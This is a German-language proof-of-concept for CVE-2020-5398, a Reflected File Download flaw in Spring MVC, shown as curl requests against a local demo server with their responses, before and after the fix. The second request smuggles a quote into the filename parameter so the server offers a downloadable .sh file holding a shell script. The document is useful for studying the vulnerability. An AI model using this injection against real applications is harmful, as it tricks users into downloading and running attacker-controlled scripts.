
CVE-2020-5398 - RFD (Reflected File Download) Angriff für Spring MVC
In Spring Framework, Versionen 5.2.x vor 5.2.3, Versionen 5.1.x vor 5.1.13 und Versionen 5.0.x vor 5.0.16 ist eine Anwendung anfällig für einen Reflected File Download (RFD) Angriff, wenn sie einen „Content-Disposition“-Header in der Antwort setzt, wobei das filename-Attribut aus Benutzereingaben abgeleitet wird.
./gradlew bootrun
Lauscht auf 127.0.0.1:8080.
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT
Hello, World
Startet den Download der Datei sample.txt.
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id
Startet den Download der Datei sample.sh. (Shell-Datei)
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT
#!/bin/bash
id
Startet den Download der Datei sample.sh";.txt. (Textdatei)